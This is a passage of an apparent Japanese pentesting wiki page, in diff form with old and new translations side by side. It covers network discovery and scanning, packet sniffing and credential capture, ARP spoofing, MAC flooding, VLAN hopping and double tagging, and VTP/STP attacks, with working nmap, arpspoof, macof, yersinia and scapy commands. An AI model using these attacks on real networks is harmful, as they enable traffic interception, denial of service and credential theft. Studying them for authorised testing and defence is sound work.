- `nmap`の`-PE`、`-PP`、`-PM`フラグを使用して、それぞれ**ICMPv4 echo**、**タイムスタンプ**、**サブネットマスクリクエスト**を送信してホストの検出を実行します: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` * `nmap`の`-PE`、`-PP`、`-PM`フラグを使用して、**ICMPv4エコー**、**タイムスタンプ**、および**サブネットマスクリクエスト**をそれぞれ送信しながらホスト発見を行います: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan** ### **Wake On Lan**
Wake On Lanは、**ネットワークメッセージ**を介してコンピューターを**起動**するために使用されます。コンピューターを起動するために使用されるマジックパケットは、MAC Dstが提供され、その後同じパケット内で**16回繰り返される**パケットです。\ Wake On Lanは、**ネットワークメッセージ**を通じてコンピュータを**起動する**ために使用されます。コンピュータを起動するために使用されるマジックパケットは、**MAC Dst**が提供され、その後同じパケット内で**16回繰り返される**だけのパケットです。\
その後、この種のパケットは通常、**イーサネット0x0842**または**ポート9へのUDPパケット**で送信されます。\ この種のパケットは通常、**イーサネット0x0842**または**ポート9へのUDPパケット**で送信されます。\
**\[MAC]**が提供されない場合、パケットは**ブロードキャストイーサネット**に送信されますブロードキャストMACが繰り返されるものになります **[MAC]**が提供されない場合、パケットは**ブロードキャストイーサネット**に送信されブロードキャストMACが繰り返されるものになります
```bash ```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
@ -130,14 +133,14 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
``` ```
## ホストのスキャン ## ホストのスキャン
IPアドレス外部または内部をすべて発見したら、詳細にスキャンしたいと思うでしょう。異なるアクションを実行できます。 深くスキャンしたいすべてのIP外部または内部を発見したら、さまざまなアクションを実行できます。
### TCP ### TCP
* **オープン**ポート _SYN --> SYN/ACK --> RST_ * **オープン**ポート: _SYN --> SYN/ACK --> RST_
* **クローズド**ポート _SYN --> RST/ACK_ * **クローズド**ポート: _SYN --> RST/ACK_
* **フィルタリングされた**ポート _SYN --> \[NO RESPONSE]_ * **フィルタリングされた**ポート: _SYN --> \[NO RESPONSE]_
* **フィルタリングされた**ポート _SYN --> ICMPメッセージ_ * **フィルタリングされた**ポート: _SYN --> ICMPメッセージ_
```bash ```bash
# Nmap fast scan for the most 1000tcp ports used # Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP> nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
@ -153,10 +156,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDPポートをスキャンするための2つのオプションがあります UDPポートをスキャンするための2つのオプションがあります
- ポートが**閉じている**場合は、**UDPパケット**を送信して応答が **ICMP unreachable** かどうかを確認します(いくつかのケースではICMPが**フィルタリング**されているため、ポートが閉じているか開いているかの情報を受信できないことがあります)。 * **UDPパケット**を送信し、ポートが**閉じている**場合は_**ICMP到達不能**_の応答を確認しますいくつかのケースではICMPが**フィルタリング**されるため、ポートが閉じているか開いているかの情報は得られません)。
- **フォーマットされたデータグラム**を送信して、**サービス**DNS、DHCP、TFTPなど、_nmap-payloads_にリストされている他のサービスから応答を引き出します。応答を受信した場合は、ポートが**開いている**ことになります * **サービス**からの応答を引き出すために**フォーマットされたデータグラム**を送信しますDNS、DHCP、TFTPなど、_nmap-payloads_にリストされています。**応答**を受け取った場合、ポートは**開いています**
**Nmap**は"-sV"を使用して**両方の**オプションを組み合わせますUDPスキャンは非常に遅いです、ただし、UDPスキャンはTCPスキャンよりも遅いことに注意してください **Nmap**は"-sV"を使用して両方のオプションを**混合**しますUDPスキャンは非常に遅いですが、UDPスキャンはTCPスキャンよりも遅いことに注意してください
```bash ```bash
# Check if any of the most common udp services is running # Check if any of the most common udp services is running
udp-proto-scanner.pl <IP> udp-proto-scanner.pl <IP>
@ -170,32 +173,32 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
``` ```
### SCTPスキャン ### SCTPスキャン
**SCTPStream Control Transmission Protocol**は、**TCPTransmission Control Protocol**および**UDPUser Datagram Protocol**と併用するように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を容易にし、**Signaling System 7SS7**で見られる信頼性の多くの機能を反映しています。**SCTP**は、**SIGTRAN**プロトコルファミリーの中核コンポーネントであり、SS7信号をIPネットワーク上で輸送することを目的としています。 **SCTP (ストリーム制御伝送プロトコル)** は、**TCP (伝送制御プロトコル)** と **UDP (ユーザーデータグラムプロトコル)** と一緒に使用されるように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を促進することであり、**SS7 (信号システム7)** に見られる多くの信頼性機能を反映しています。**SCTP** は、SS7信号をIPネットワーク上で輸送することを目的とした**SIGTRAN**プロトコルファミリーのコアコンポーネントです。
**SCTP**のサポートは、**IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS**、**VxWorks**など、さまざまなオペレーティングシステムによって提供されており、その広範な受容と通信およびネットワーキング分野での有用性が示されています。 **SCTP** のサポートは、**IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS**、および **VxWorks** などのさまざまなオペレーティングシステムによって提供されており、通信およびネットワーキングの分野での広範な受け入れと有用性を示しています。
nmapによって提供されるSCTPの2つの異なるスキャンオプション: _-sY_ および _-sZ_ nmapでは、SCTPのために2つの異なるスキャンが提供されています: _-sY_ _-sZ_
```bash ```bash
# Nmap fast SCTP scan # Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP> nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan # Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP> nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
``` ```
### IDSおよびIPS回避 ### IDSとIPSの回避
{% content-ref url="ids-evasion.md" %} {% content-ref url="ids-evasion.md" %}
[ids-evasion.md](ids-evasion.md) [ids-evasion.md](ids-evasion.md)
{% endcontent-ref %} {% endcontent-ref %}
### **さらなるnmapオプション** ### **より多くのnmapオプション**
{% content-ref url="nmap-summary-esp.md" %} {% content-ref url="nmap-summary-esp.md" %}
[nmap-summary-esp.md](nmap-summary-esp.md) [nmap-summary-esp.md](nmap-summary-esp.md)
{% endcontent-ref %} {% endcontent-ref %}
### 内部IPアドレスの特定 ### 内部IPアドレスの明示
**設定ミスのルーター、ファイアウォール、およびネットワークデバイス** は、時々 **非公開ソースアドレス** を使用してネットワークプローブに応答します。**tcpdump** を使用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linuxでは、**eth2インターフェース** でパケットをキャプチャできます。これは公共インターネットからアクセスできます。設定がNATまたはファイアウォールの背後にある場合、そのようなパケットはフィルタリングされる可能性があることに注意することが重要です。 **誤設定されたルーター、ファイアウォール、ネットワークデバイス**は、**非公開のソースアドレス**を使用してネットワークプローブに応答することがあります。**tcpdump**は、テスト中にプライベートアドレスから受信したパケットを特定するために利用できます。具体的には、Kali Linuxでは、**eth2インターフェース**上でパケットをキャプチャできます。セットアップがNATまたはファイアウォールの背後にある場合、そのようなパケットはフィルタリングされる可能性が高いことに注意することが重要です。
```bash ```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -203,11 +206,11 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
``` ```
## スニッフィング ## Sniffing
スニッフィングを行うと、キャプチャされたフレームやパケットを確認することで、IPレンジ、サブネットサイズ、MACアドレス、ホスト名の詳細を把握できます。ネットワークが誤って構成されているか、スイッチングファブリックがストレス下にある場合、攻撃者は受動的なネットワークスニッフィングを通じて機密情報をキャプチャすることができます。 スニッフィングでは、キャプチャされたフレームやパケットをレビューすることで、IP範囲、サブネットサイズ、MACアドレス、およびホスト名の詳細を学ぶことができます。ネットワークが誤って構成されているか、スイッチングファブリックがストレス下にある場合、攻撃者はパッシブネットワークスニッフィングを通じて機密情報をキャプチャすることができます。
スイッチングされたイーサネットネットワークが適切に構成されている場合、ブロードキャストフレームとMACアドレス宛に送信されたデータのみが表示されます。 スイッチされたイーサネットネットワークが適切に構成されている場合、ブロードキャストフレームとあなたのMACアドレス宛てのデータのみが表示されます。
### TCPDump ### TCPDump
```bash ```bash
@ -215,7 +218,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
``` ```
一方、WiresharkをGUIとして使用してリアルタイムでリモートマシンからSSHセッション経由でパケットをキャプチャすることもできます。 リモートマシンからSSHセッションを介してWiresharkをGUIとして使用し、リアルタイムでパケットをキャプチャすることもできます。
``` ```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -231,17 +234,17 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
``` ```
### Wireshark ### Wireshark
当然 明らかに
### 資格情報のキャプチャ ### 認証情報のキャプチャ
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) のようなツールを使用して、pcap またはライブインターフェースから資格情報を解析できます。 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) のようなツールを使用して、pcapまたはライブインターフェースから認証情報を解析できます。
## LAN 攻撃 ## LAN攻撃
### ARP スプーフィング ### ARPスプーフィング
ARP スプーフィングは、不正な ARP レスポンスを送信して、特定のマシンの IP が自分のデバイスの MAC アドレスであることを示すことです。その後、被害者は ARP テーブルを変更し、スプーフィングされた IP に接続するたびに、当該 IP に接続するために当社のマシンに連絡します。 ARPスプーフィングは、マシンのIPが私たちのデバイスのMACであることを示すために、無償のARPレスポンスを送信することです。これにより、被害者はARPテーブルを変更し、スプーフィングされたIPに接続したいときに私たちのマシンに連絡します。
#### **Bettercap** #### **Bettercap**
```bash ```bash
@ -259,21 +262,23 @@ arpspoof -t 192.168.1.2 192.168.1.1
``` ```
### MAC Flooding - CAMオーバーフロー ### MAC Flooding - CAMオーバーフロー
異なるソースMACアドレスを持つ多くのパケットを送信して、スイッチのCAMテーブルをオーバーフローさせます。CAMテーブルがいっぱいになると、スイッチはハブのように振る舞い始めます(すべてのトラフィックをブロードキャストします)。 スイッチのCAMテーブルをオーバーフローさせるために、異なるソースMACアドレスを持つ多くのパケットを送信します。CAMテーブルが満杯になると、スイッチはハブのように動作し始め(すべてのトラフィックをブロードキャストします)。
```bash ```bash
macof -i <interface> macof -i <interface>
``` ```
In modern switches this vulnerability has been fixed.
### 802.1Q VLAN / DTP Attacks ### 802.1Q VLAN / DTP Attacks
#### Dynamic Trunking #### Dynamic Trunking
**動的トランクプロトコルDTP**は、トランクモード(トランク)または非トランクモードのポートをスイッチが自動的に選択できるようにするリンク層プロトコルとして設計されています。**DTP**の展開は、サブオプティマルなネットワーク設計の兆候と見なされることがよくあり、必要な場所だけでトランクを手動で構成し、適切なドキュメントを確認することの重要性を強調しています。 The **Dynamic Trunking Protocol (DTP)**は、トランクの自動システムを促進するために設計されたリンク層プロトコルであり、スイッチがトランクモードTrunkまたは非トランクモードのポートを自動的に選択できるようにします。**DTP**の展開は、しばしば最適でないネットワーク設計の指標と見なされ、必要な場合にのみトランクを手動で構成し、適切な文書化を確保することの重要性を強調します。
デフォルトでは、スイッチポートは動的オートモードで動作するように設定されており、隣接するスイッチに促されるとトランクを開始できる状態です。ペンテスターまたは攻撃者がスイッチに接続し、DTPデザイアブルフレームを送信すると、ポートがトランクモードに入るため、セキュリティ上の懸念が生じます。この行動により、攻撃者はSTPフレームの解析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。 デフォルトでは、スイッチポートはダイナミックオートモードで動作するように設定されており、隣接するスイッチからの要求があればトランクを開始する準備が整っています。セキュリティ上の懸念は、ペンテスターまたは攻撃者がスイッチに接続し、DTP Desirableフレームを送信してポートをトランクモードに強制する場合に生じます。このアクションにより、攻撃者はSTPフレーム分析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。
多くのスイッチにデフォルトでDTPが存在することを悪用することで、敵対者はスイッチの振る舞いを模倣し、結果としてすべてのVLANを通過するトラフィックにアクセスできます。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスモードのいずれであるかを明らかにし、VLANホッピング攻撃に対して免疫力のある唯一の構成である後者を評価するために使用されます。このツールはスイッチの脆弱性ステータスを評価します。 多くのスイッチにデフォルトでDTPが存在することは、敵がスイッチの動作を模倣するために悪用でき、すべてのVLANのトラフィックにアクセスを得ることができます。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視するために使用され、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスポートモードのいずれにあるかを明らかにします。後者はVLANホッピング攻撃に対して唯一免疫のある構成です。このツールは、スイッチの脆弱性状態を評価します。
ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効に」し、すべてのVLANからパケットを観察できます。 ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効にする」ことができ、すべてのVLANからのパケットを観察することが可能になります。
```bash ```bash
apt-get install yersinia #Installation apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali sudo apt install kali-linux-large #Another way to install it in Kali
@ -286,20 +291,20 @@ yersinia -G #For graphic mode
``` ```
![](<../../.gitbook/assets/image (269).png>) ![](<../../.gitbook/assets/image (269).png>)
VLANを列挙するためには、スクリプト[DTPHijacking.py](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)を使用してDTPデザイアブルフレームを生成することも可能です。スクリプトを絶対に中断しないでください。それは3秒ごとにDTPデザイアブルをインジェクトします。スイッチ上で動的に作成されたトランクチャネルは、5分間だけ存在します。5分後にトランクは切断されます。 VLANを列挙するには、スクリプト[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**を使用してDTP Desirableフレームを生成することも可能です。**いかなる状況でもスクリプトを中断しないでください。3秒ごとにDTP Desirableを注入します。**スイッチ上で動的に作成されたトランクチャネルは5分間のみ存在します。5分後、トランクは切断されます。**
``` ```
sudo python3 DTPHijacking.py --interface eth0 sudo python3 DTPHijacking.py --interface eth0
``` ```
たち**Access/Desirable (0x03)** がDTPフレームがDesirableタイプであることを示し、ポートにTrunkモードへの切り替えを指示することを示すことを指摘したいと思います。そして、**802.1Q/802.1Q (0xa5)** は **802.1Q** カプセル化タイプを示します。 私は**Access/Desirable (0x03)**がDTPフレームがDesirableタイプであることを示し、ポートにTrunkモードに切り替えるよう指示することを指摘したいと思います。また、**802.1Q/802.1Q (0xa5)**は**802.1Q**カプセル化タイプを示します。
STPフレームを分析することで、**VLAN 30とVLAN 60の存在について知ることができます。** STPフレームを分析することで、**VLAN 30とVLAN 60の存在について学びます。**
<figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure>
#### 特定のVLANへの攻撃 #### 特定のVLANへの攻撃
VLANのIDとIP値を知ったら、**特定のVLANを攻撃するために仮想インターフェースを設定**できます。\ VLAN IDとIP値がわかれば、**特定のVLANを攻撃するために仮想インターフェースを設定できます**。\
DHCPが利用できない場合は、静的IPアドレスを設定するために _ifconfig_ を使用してください DHCPが利用できない場合は、_ifconfig_を使用して静的IPアドレスを設定します
``` ```
root@kali:~# modprobe 8021q root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250 root@kali:~# vconfig add eth1 250
@ -332,147 +337,149 @@ sudo vconfig add eth0 30
sudo ip link set eth0.30 up sudo ip link set eth0.30 up
sudo dhclient -v eth0.30 sudo dhclient -v eth0.30
``` ```
#### 自動VLANホッパー #### Automatic VLAN Hopper
**ダイナミックトランキングと仮想インターフェースの作成、他のVLAN内のホストの発見**という攻撃は、[**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)というツールによって**自動的に実行**されます。 議論された攻撃である**Dynamic Trunkingと仮想インターフェースを作成し、他のVLAN内のホストを発見する**は、ツールによって**自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### ダブルタギング #### Double Tagging
攻撃者が**被害者ホストのMAC、IP、VLAN IDの値を知っている**場合、指定されたVLANと被害者のVLANで**フレームにダブルタグを付け**、パケットを送信することができます。**被害者は攻撃者に接続できない**ため、**攻撃者の最良の選択肢はUDPを介して通信する**ことです。興味深いアクションを実行できるプロトコルSNMPなど 攻撃者が**被害者ホストのMAC、IP、およびVLAN IDの値**を知っている場合、彼は**フレームをダブルタグ**し、指定されたVLANと被害者のVLANでパケットを送信しようとすることができます。**被害者は攻撃者に接続できないため**、**攻撃者にとって最良の選択肢はUDPを介して通信すること**です。これは、いくつかの興味深いアクションを実行できるプロトコルSNMPなどに対してです
攻撃者の別の選択肢は、**攻撃者が制御するIPをスプーフィングし、被害者がアクセス可能なTCPポートスキャンを実行**することです(おそらくインターネット経由)。その後、攻撃者は、被害者からパケットを受信するかどうかを自分が所有する2番目のホストでスニッフィングできます。 攻撃者の別のオプションは、**攻撃者が制御し、被害者がアクセス可能なIPを偽装してTCPポートスキャンを実行する**ことです(おそらくインターネットを介して)。その後、攻撃者は、被害者からのパケットを受信した場合、彼が所有する2番目のホストでスニッフィングすることができます。
![](<../../.gitbook/assets/image (190).png>) ![](<../../.gitbook/assets/image (190).png>)
この攻撃を実行するには、scapyを使用できます`pip install scapy` この攻撃を実行するには、scapyを使用できます: `pip install scapy`
```python ```python
from scapy.all import * from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet) sendp(packet)
``` ```
#### レイテラルVLANセグメンテーションバイパス <a href="#d679" id="d679"></a> #### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
もし直接接続されたスイッチに**アクセス権**がある場合、ネットワーク内での**VLANセグメンテーションをバイパス**する能力があります。単純にポートをトランクモード(トランクとも呼ばれる)に切り替え、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを設定します。アドレスを動的にDHCP要求するか、静的に設定するかはケースによります。 もし**直接接続されているスイッチにアクセスできる場合**、ネットワーク内で**VLANセグメンテーションをバイパスする**能力があります。単に**ポートをトランクモードに切り替え**(トランクとも呼ばれます)、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを設定します。アドレスを動的に要求するDHCPか、静的に設定することができます。ケースによります。
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} {% content-ref url="lateral-vlan-segmentation-bypass.md" %}
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md) [lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
#### レイヤー3 プライベートVLAN バイパス #### Layer 3 Private VLAN Bypass
特定の環境、例えばゲストワイヤレスネットワークでは、**ポートアイソレーションプライベートVLANとも呼ばれる**設定が実装され、ワイヤレスアクセスポイントに接続されたクライアント同士の直接通信を防いでいます。しかし、これらの分離対策を回避する技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を悪用し、IPパケットがルーターを経由して同じネットワーク上の別のクライアントに到達するようにします。 ゲスト無線ネットワークなどの特定の環境では、**ポートアイソレーションプライベートVLANとも呼ばれます**設定が実装され、無線アクセスポイントに接続されたクライアント同士が直接通信するのを防ぎます。しかし、これらのアイソレーション対策を回避できる技術が特定されています。この技術は、ネットワークACLの欠如または不適切な設定を利用し、IPパケットがルーターを通じて同じネットワーク上の別のクライアントにルーティングされることを可能にします。
攻撃は、**宛先クライアントのIPアドレスを持つパケットを作成し、ルーターのMACアドレスを使用**することで実行されます。これにより、ルーターは誤ってパケットをターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御することでセキュリティ上の欠陥を悪用するダブルタギング攻撃で使用されるものと似ています。 攻撃は、**宛先クライアントのIPアドレスを持つパケットを作成し、ルーターのMACアドレスを使用することによって実行されます**。これにより、ルーターはパケットを誤ってターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御する能力を利用してセキュリティの欠陥を悪用するダブルタグ攻撃で使用されるものに似ています。
**攻撃の主なステップ:** **攻撃の主要なステップ:**
1. **パケットの作成:** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケット。 1. **パケットの作成** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケット。
2. **ルーターの動作の悪用:** 作成されたパケットがルーターに送信され、構成により、プライベートVLAN設定によって提供される分離をバイパスして、パケットがターゲットクライアントに転送されます。 2. **ルーターの動作を悪用:** 作成されたパケットがルーターに送信され、設定によりパケットがターゲットクライアントにリダイレクトされ、プライベートVLAN設定によるアイソレーションをバイパスします。
### VTP攻撃 ### VTP Attacks
VTPVLANトランキングプロトコルはVLAN管理を集約化します。リビジョン番号を使用してVLANデータベースの整合性を維持し、変更があるとこの番号が増加します。スイッチは、より高いリビジョン番号の構成を採用し、独自のVLANデータベースを更新します。 VTPVLANトランクプロトコルはVLAN管理を集中化します。VLANデータベースの整合性を維持するためにリビジョン番号を利用し、変更があるとこの番号が増加します。スイッチは、より高いリビジョン番号の設定を採用し、自身のVLANデータベースを更新します。
#### VTPドメインの役割 #### VTP Domain Roles
* **VTPサーバー:** VLANを管理し、作成、削除、変更を行います。ドメインメンバーにVTPアナウンスをブロードキャストします。 * **VTPサーバー** VLANを管理—作成、削除、変更します。ドメインメンバーにVTPアナウンスをブロードキャストします。
* **VTPクライアント:** VTPアナウンスを受信してVLANデータベースを同期します。この役割は、ローカルVLAN構成の変更を制限されています。 * **VTPクライアント** VTPアナウンスを受信し、自身のVLANデータベースを同期します。この役割はローカルVLAN設定の変更が制限されています。
* **VTPトランスペアレント:** VTPの更新には参加せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。 * **VTPトランスペアレント** VTP更新に関与せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。
#### VTP広告タイプ #### VTP Advertisement Types
* **サマリ広告:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を運びます。 * **サマリーアナウンス:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を含みます。
* **サブセット広告:** VLAN構成の変更後に送信されます。 * **サブセットアナウンス:** VLAN設定変更後に送信されます。
* **広告リクエスト:** VTPクライアントがサマリ広告を要求するために発行され、通常はより高い構成リビジョン番号を検出した場合に応答します。 * **アナウンスリクエスト:** VTPクライアントによってサマリーアナウンスを要求するために発行され、通常はより高い設定リビジョン番号を検出した際に行われます。
VTPの脆弱性はトランクポートを介してのみ悪用可能です。VTPアナウンスはこれらのポートを通じてのみ循環します。DTP攻撃シナリオはVTPに向かう可能性があります。YersiniaのようなツールはVTP攻撃を容易にし、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目指します。 VTPの脆弱性は、VTPアナウンスがトランクポートを通じてのみ循環するため、トランクポートを介してのみ悪用可能です。DTP攻撃後のシナリオはVTPに移行する可能性があります。Yersiniaのようなツールは、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目的としたVTP攻撃を支援できます。
意: この議論はVTPバージョン1VTPv1に関連しています。 この議論はVTPバージョン1VTPv1に関するものです。
````bash ````bash
%% yersinia -G # Launch Yersinia in graphical mode ``` %% yersinia -G # Launch Yersinia in graphical mode ```
```` ````
Yersiniaのグラフィカルモードでは、VLANデータベースを削除するためにすべてのVTP VLANを削除するオプションを選択します。
### STP攻撃 ### STP攻撃
**インターフェースでBPDUフレームをキャプチャできない場合、STP攻撃を成功させる可能性は低いです。** **インターフェースでBPDUフレームをキャプチャできない場合、STP攻撃に成功する可能性は低いです。**
#### **STP BPDU DoS** #### **STP BPDU DoS**
多くのBPDUs TCPTopology Change NotificationまたはConfトポロジが作成されたときに送信されるBPDUsを送信すると、スイッチが過負荷となり正常に動作しなくなります。 多くのBPDUs TCPトポロジ変更通知やConfトポロジが作成されるときに送信されるBPDUsを送信すると、スイッチが過負荷になり、正しく動作しなくなります。
```bash ```bash
yersinia stp -attack 2 yersinia stp -attack 2
yersinia stp -attack 3 yersinia stp -attack 3
#Use -M to disable MAC spoofing #Use -M to disable MAC spoofing
``` ```
#### **STP TCP Attack** #### **STP TCP攻撃**
TCPを送信すると、スイッチのCAMテーブルが15秒で削除されます。その後、この種のパケットを連続して送信していると、CAMテーブルが連続して再起動されますまたは15秒ごとにし、再起動されると、スイッチはハブのように動作します TCPが送信されると、スイッチのCAMテーブルは15秒で削除されます。その後、この種のパケットを継続的に送信していると、CAMテーブルは継続的にまたは15秒ごとに再起動され、再起動されるとスイッチはハブのように動作します。
```bash ```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
``` ```
#### **STP Root Attack** #### **STPルート攻撃**
攻撃者は、スイッチの振る舞いをシミュレートしてネットワークのSTPルートになります。その後、より多くのデータが彼を通過します。これは、2つの異なるスイッチに接続されている場合に興味深いです。\ 攻撃者はスイッチの動作を模倣してネットワークのSTPルートになります。これにより、より多くのデータが彼を通過します。これは、異なる2つのスイッチに接続されているときに興味深いです。\
これは、**優先度**値が実際のルートスイッチの優先度よりも低いということを示すBPDUs CONFパケットを送信することで行われます。 これは、**優先度**値が実際のルートスイッチの実際の優先度よりも低いと伝えるBPDUs CONFパケットを送信することによって行われます。
```bash ```bash
yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
``` ```
**攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートとなり、それらのスイッチ間のすべてのトラフィックが彼を経由することになります**MITM攻撃が実行されます **攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートになり、これらのスイッチ間のすべてのトラフィックが彼を通過します**MITM攻撃が実行されます
```bash ```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
``` ```
### CDP 攻撃 ### CDP攻撃
CISCO Discovery ProtocolCDPは、CISCO デバイス間の通信に不可欠であり、**お互いを識別し構成の詳細を共有**することができます。 CISCO Discovery Protocol (CDP)は、CISCOデバイス間の通信に不可欠であり、**互いを識別し、設定詳細を共有する**ことを可能にします。
#### パッシブデータ収集 <a href="#id-0e0f" id="id-0e0f"></a> #### パッシブデータ収集 <a href="#id-0e0f" id="id-0e0f"></a>
